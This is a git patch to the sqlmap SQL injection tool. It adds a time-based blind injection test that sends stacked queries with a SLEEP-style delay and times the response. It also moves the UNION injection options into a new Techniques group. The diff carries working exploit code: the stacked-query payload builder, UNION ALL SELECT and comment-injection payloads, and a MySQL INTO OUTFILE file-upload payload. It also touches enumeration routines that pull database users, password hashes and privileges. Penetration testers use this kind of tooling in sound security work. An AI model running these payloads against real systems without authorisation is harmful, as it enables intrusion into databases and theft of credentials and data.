From 81ed7c208680ed9959b41511433a122a526e44d6 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 12 Nov 2008 00:36:50 +0000 Subject: [PATCH] Initial implementation of support for stacked queries. Added method to test for Time based blind SQL injection query stacking on the affected parameter a SLEEP() or similar DBMS specific function. Adapted libraries, plugins and XML with the above changes. Minor layout adjustments. --- lib/controller/action.py | 5 +- lib/core/agent.py | 4 +- lib/core/optiondict.py | 8 +- lib/core/settings.py | 2 + lib/parse/cmdline.py | 32 +++++-- lib/parse/queriesfile.py | 8 ++ lib/request/inject.py | 25 ++++- lib/techniques/inband/union/test.py | 2 +- plugins/dbms/mysql.py | 10 +- plugins/generic/enumeration.py | 144 ++++++++++++++++------------ sqlmap.conf | 25 +++-- xml/queries.xml | 15 +++ 12 files changed, 185 insertions(+), 95 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index a5d800567..2ac3e954c 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -68,7 +68,10 @@ def action(): print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint() - # Miscellaneous options + # Techniques options + if conf.timeTest: + dumper.string("time based sql injection", conf.dbmsHandler.timeTest()) + if conf.unionTest: dumper.string("valid union", unionTest()) diff --git a/lib/core/agent.py b/lib/core/agent.py index 9c7d5d65c..628dec0cc 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -95,7 +95,7 @@ class Agent: else: raise sqlmapNoneDataException, "unsupported injection type" - if kb.parenthesis != None: + if kb.parenthesis not in ( None, 0 ): query += "%s " % (")" * kb.parenthesis) query += string @@ -343,7 +343,7 @@ class Agent: @rtype: C{str} """ - inbandQuery = self.prefixQuery("UNION ALL SELECT ") + inbandQuery = self.prefixQuery(" UNION ALL SELECT ") if not exprPosition: exprPosition = kb.unionPosition diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index eac3bdeae..5a97430fe 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -48,6 +48,12 @@ optDict = { "dbms": "string", }, + "Techniques": { + "timeTest": "boolean", + "unionTest": "boolean", + "unionUse": "boolean", + }, + "Fingerprint": { "extensiveFp": "boolean", }, @@ -85,8 +91,6 @@ optDict = { }, "Miscellaneous": { - "unionTest": "boolean", - "unionUse": "boolean", "eta": "boolean", "verbose": "integer", "updateAll": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 5c86ab35b..d949ad763 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -64,3 +64,5 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + +TIME_SECONDS = 5 diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index de4cc0e48..f3e5f6a10 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -103,6 +103,27 @@ def cmdLineParser(): injection.add_option("--dbms", dest="dbms", help="Force back-end DBMS to this value") + # Techniques options + techniques = OptionGroup(parser, "Techniques", "These options can " + "be used to test for specific SQL injection " + "technique or to use one of them to exploit " + "the affected parameter(s) rather than using " + "the default blind SQL injection technique.") + + techniques.add_option("--time-test", dest="timeTest", + action="store_true", + help="Test for Time based blind SQL injection") + + techniques.add_option("--union-test", dest="unionTest", + action="store_true", + help="Test for UNION SELECT (inband) SQL injection") + + techniques.add_option("--union-use", dest="unionUse", + action="store_true", + help="Use the UNION SELECT (inband) SQL injection " + "to retrieve the queries output. No " + "need to go blind") + # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") @@ -215,16 +236,6 @@ def cmdLineParser(): # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") - miscellaneous.add_option("--union-test", dest="unionTest", - action="store_true", - help="Test for UNION SELECT (inband) SQL injection") - - miscellaneous.add_option("--union-use", dest="unionUse", - action="store_true", - help="Use the UNION SELECT (inband) SQL injection " - "to retrieve the queries output. No " - "need to go blind") - miscellaneous.add_option("--eta", dest="eta", action="store_true", help="Retrieve each query output length and " "calculate the estimated time of arrival " @@ -251,6 +262,7 @@ def cmdLineParser(): parser.add_option_group(request) parser.add_option_group(injection) + parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(filesystem) diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py index 10cc354aa..92cc00d2d 100644 --- a/lib/parse/queriesfile.py +++ b/lib/parse/queriesfile.py @@ -95,6 +95,14 @@ class queriesHandler(ContentHandler): data = sanitizeStr(attrs.get("query")) self.__queries.count = data + elif name == "comment": + data = sanitizeStr(attrs.get("query")) + self.__queries.comment = data + + elif name == "timedelay": + data = sanitizeStr(attrs.get("query")) + self.__queries.timedelay = data + elif name == "substring": data = sanitizeStr(attrs.get("query")) self.__queries.substring = data diff --git a/lib/request/inject.py b/lib/request/inject.py index c520353ed..2f8c07b63 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -38,6 +38,8 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.data import temp +from lib.core.settings import TIME_SECONDS +from lib.request.connect import Connect as Request from lib.techniques.inband.union.use import unionUse from lib.techniques.inference.blind import bisection from lib.utils.resume import queryOutputLength @@ -53,7 +55,7 @@ def __getFieldsProxy(expression): def __goInference(payload, expression): - start = time.time() + start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) @@ -100,7 +102,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): parameter through a bisection algorithm. """ - query = agent.prefixQuery(temp.inference) + query = agent.prefixQuery(" %s" % temp.inference) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) count = None @@ -379,3 +381,22 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None) value = __goInferenceProxy(expression, fromUser, expected) return value + + +def goStacked(expression, timeTest=False): + """ + TODO: write description + """ + + query = agent.prefixQuery("; %s" % expression) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + + start = time.time() + Request.queryPage(payload) + duration = int(time.time() - start) + + if timeTest: + return (duration >= TIME_SECONDS, payload) + else: + return duration >= TIME_SECONDS diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 739623847..35113c36d 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -92,7 +92,7 @@ def unionTest(): value = "" - query = agent.prefixQuery("UNION ALL SELECT NULL") + query = agent.prefixQuery(" UNION ALL SELECT NULL") for comment in ("--", "#", "/*", ";", "%00"): value = __effectiveUnionTest(query, comment) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 9c1a3b95d..ecfa1fa54 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): logMsg = "executing MySQL comment injection fingerprint" logger.info(logMsg) - query = agent.prefixQuery("/* NoValue */") + query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) @@ -156,7 +156,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): for version in range(element[0], element[1] + 1): randInt = randomInt() version = str(version) - query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) + query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) @@ -285,10 +285,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): # Or if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.getValue("MID(@@hostname, 1, 1)"): kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] - # NOTE: MySQL 5.0.12 introduced SLEEP() function - # References: - # * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html - # * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep elif inject.getValue("SELECT 1 FROM DUAL") == "1": kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] elif inject.getValue("DATABASE() LIKE SCHEMA()"): @@ -424,7 +420,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery - query = agent.prefixQuery(query) + query = agent.prefixQuery(" %s" % query) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 3da888bce..959f294e5 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.settings import TIME_SECONDS from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.request import inject @@ -68,13 +69,34 @@ class Enumeration: temp.inference = queries[dbms].inference + # TODO: move this function to an appropriate file + def timeTest(self): + infoMsg = "testing time based blind sql injection on parameter " + infoMsg += "'%s'" % kb.injParameter + logger.info(infoMsg) + + # TODO: probably the '; ' will be filled in in all + # future time based SQL injection attacks at the end of the + # stacked query. Find a way that goStacked() function itself + # append it. + query = "%s; " % queries[kb.dbms].timedelay % TIME_SECONDS + query += queries[kb.dbms].comment + + self.timeTest = inject.goStacked(query, timeTest=True) + + if self.timeTest[0] == True: + return "True, verified with payload: %s" % self.timeTest[1] + else: + return "False" + + def forceDbmsEnum(self): pass def getBanner(self): - logMsg = "fetching banner" - logger.info(logMsg) + infoMsg = "fetching banner" + logger.info(infoMsg) query = queries[kb.dbms].banner @@ -85,8 +107,8 @@ class Enumeration: def getCurrentUser(self): - logMsg = "fetching current user" - logger.info(logMsg) + infoMsg = "fetching current user" + logger.info(infoMsg) query = queries[kb.dbms].currentUser @@ -97,8 +119,8 @@ class Enumeration: def getCurrentDb(self): - logMsg = "fetching current database" - logger.info(logMsg) + infoMsg = "fetching current database" + logger.info(infoMsg) query = queries[kb.dbms].currentDb @@ -109,8 +131,8 @@ class Enumeration: def getUsers(self): - logMsg = "fetching database users" - logger.info(logMsg) + infoMsg = "fetching database users" + logger.info(infoMsg) rootQuery = queries[kb.dbms].users @@ -128,8 +150,8 @@ class Enumeration: self.cachedUsers = value if not self.cachedUsers: - logMsg = "fetching number of database users" - logger.info(logMsg) + infoMsg = "fetching number of database users" + logger.info(infoMsg) if condition: query = rootQuery["blind"]["count2"] @@ -161,8 +183,8 @@ class Enumeration: def getPasswordHashes(self): - logMsg = "fetching database users password hashes" - logger.info(logMsg) + infoMsg = "fetching database users password hashes" + logger.info(infoMsg) rootQuery = queries[kb.dbms].passwords @@ -220,9 +242,9 @@ class Enumeration: if user in retrievedUsers: continue - logMsg = "fetching number of password hashes " - logMsg += "for user '%s'" % user - logger.info(logMsg) + infoMsg = "fetching number of password hashes " + infoMsg += "for user '%s'" % user + logger.info(infoMsg) if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): query = rootQuery["blind"]["count2"] % user @@ -236,8 +258,8 @@ class Enumeration: logger.warn(warnMsg) continue - logMsg = "fetching password hashes for user '%s'" % user - logger.info(logMsg) + infoMsg = "fetching password hashes for user '%s'" % user + logger.info(infoMsg) passwords = [] indexRange = getRange(count) @@ -292,8 +314,8 @@ class Enumeration: def getPrivileges(self): - logMsg = "fetching database users privileges" - logger.info(logMsg) + infoMsg = "fetching database users privileges" + logger.info(infoMsg) rootQuery = queries[kb.dbms].privileges @@ -443,9 +465,9 @@ class Enumeration: if user in retrievedUsers: continue - logMsg = "fetching number of privileges " - logMsg += "for user '%s'" % user - logger.info(logMsg) + infoMsg = "fetching number of privileges " + infoMsg += "for user '%s'" % user + logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser @@ -466,8 +488,8 @@ class Enumeration: logger.warn(warnMsg) continue - logMsg = "fetching privileges for user '%s'" % user - logger.info(logMsg) + infoMsg = "fetching privileges for user '%s'" % user + logger.info(infoMsg) privileges = set() indexRange = getRange(count) @@ -549,8 +571,8 @@ class Enumeration: warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - logMsg = "fetching database names" - logger.info(logMsg) + infoMsg = "fetching database names" + logger.info(infoMsg) rootQuery = queries[kb.dbms].dbs @@ -565,8 +587,8 @@ class Enumeration: self.cachedDbs = value if not self.cachedDbs: - logMsg = "fetching number of databases" - logger.info(logMsg) + infoMsg = "fetching number of databases" + logger.info(infoMsg) if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["count2"] @@ -605,10 +627,10 @@ class Enumeration: self.forceDbmsEnum() - logMsg = "fetching tables" + infoMsg = "fetching tables" if conf.db: - logMsg += " for database '%s'" % conf.db - logger.info(logMsg) + infoMsg += " for database '%s'" % conf.db + logger.info(infoMsg) rootQuery = queries[kb.dbms].tables @@ -626,8 +648,8 @@ class Enumeration: elif conf.excludeSysDbs: query += " WHERE " query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList) - logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) - logger.info(logMsg) + infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) + logger.info(infoMsg) value = inject.getValue(query, blind=False) @@ -652,14 +674,14 @@ class Enumeration: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: - logMsg = "skipping system database '%s'" % db - logger.info(logMsg) + infoMsg = "skipping system database '%s'" % db + logger.info(infoMsg) continue - logMsg = "fetching number of tables for " - logMsg += "database '%s'" % db - logger.info(logMsg) + infoMsg = "fetching number of tables for " + infoMsg += "database '%s'" % db + logger.info(infoMsg) query = rootQuery["blind"]["count"] % db count = inject.getValue(query, inband=False, expected="int") @@ -711,10 +733,10 @@ class Enumeration: errMsg = "missing database parameter" raise sqlmapMissingMandatoryOptionException, errMsg - logMsg = "fetching columns " - logMsg += "for table '%s' " % conf.tbl - logMsg += "on database '%s'" % conf.db - logger.info(logMsg) + infoMsg = "fetching columns " + infoMsg += "for table '%s' " % conf.tbl + infoMsg += "on database '%s'" % conf.db + logger.info(infoMsg) rootQuery = queries[kb.dbms].columns @@ -744,10 +766,10 @@ class Enumeration: self.cachedColumns[conf.db] = table if not self.cachedColumns: - logMsg = "fetching number of columns " - logMsg += "for table '%s'" % conf.tbl - logMsg += " on database '%s'" % conf.db - logger.info(logMsg) + infoMsg = "fetching number of columns " + infoMsg += "for table '%s'" % conf.tbl + infoMsg += " on database '%s'" % conf.db + logger.info(infoMsg) if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["blind"]["count"] % (conf.tbl, conf.db) @@ -841,12 +863,12 @@ class Enumeration: colList.sort(key=lambda x: x.lower()) colString = ", ".join(column for column in colList) - logMsg = "fetching" + infoMsg = "fetching" if conf.col: - logMsg += " columns '%s'" % colString - logMsg += " entries for table '%s'" % conf.tbl - logMsg += " on database '%s'" % conf.db - logger.info(logMsg) + infoMsg += " columns '%s'" % colString + infoMsg += " entries for table '%s'" % conf.tbl + infoMsg += " on database '%s'" % conf.db + logger.info(infoMsg) if conf.unionUse: if kb.dbms == "Oracle": @@ -893,12 +915,12 @@ class Enumeration: warnMsg += "blind to confirm" logger.warn(warnMsg) - logMsg = "fetching number of " + infoMsg = "fetching number of " if conf.col: - logMsg += "columns '%s' " % colString - logMsg += "entries for table '%s' " % conf.tbl - logMsg += "on database '%s'" % conf.db - logger.info(logMsg) + infoMsg += "columns '%s' " % colString + infoMsg += "entries for table '%s' " % conf.tbl + infoMsg += "on database '%s'" % conf.db + logger.info(infoMsg) if kb.dbms == "Oracle": query = rootQuery["blind"]["count"] % conf.tbl.upper() @@ -1011,8 +1033,8 @@ class Enumeration: def sqlQuery(self, query): - logMsg = "fetching SQL SELECT query output: '%s'" % query - logger.info(logMsg) + infoMsg = "fetching SQL SELECT query output: '%s'" % query + logger.info(infoMsg) if query.startswith("select "): query = query.replace("select ", "SELECT ", 1) @@ -1029,9 +1051,9 @@ class Enumeration: def sqlShell(self): - logMsg = "calling %s shell. To quit type " % kb.dbms - logMsg += "'x' or 'q' and press ENTER" - logger.info(logMsg) + infoMsg = "calling %s shell. To quit type " % kb.dbms + infoMsg += "'x' or 'q' and press ENTER" + logger.info(infoMsg) autoCompletion(sqlShell=True) diff --git a/sqlmap.conf b/sqlmap.conf index 719765068..95ffc7b9c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -82,6 +82,22 @@ string = dbms = +[Techniques] + +# Test for Time based blind SQL injection. +# Valid: True or False +timeTest = False + +# Test for UNION SELECT (inband) SQL injection. +# Valid: True or False +unionTest = False + +# Use the UNION SELECT (inband) SQL injection to retrieve the queries +# output. No need to go blind. +# Valid: True or False +unionUse = False + + [Fingerprint] # Perform an extensive back-end database management system fingerprint @@ -197,15 +213,6 @@ osShell = False [Miscellaneous] -# Test for UNION SELECT (inband) SQL injection. -# Valid: True or False -unionTest = False - -# Use the UNION SELECT (inband) SQL injection to retrieve the queries -# output. No need to go blind. -# Valid: True or False -unionUse = False - # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False diff --git a/xml/queries.xml b/xml/queries.xml index 0e987b35c..28b1d7d14 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -14,6 +14,15 @@ + + + @@ -62,6 +71,8 @@ + + @@ -109,6 +120,8 @@ + + @@ -157,6 +170,8 @@ + +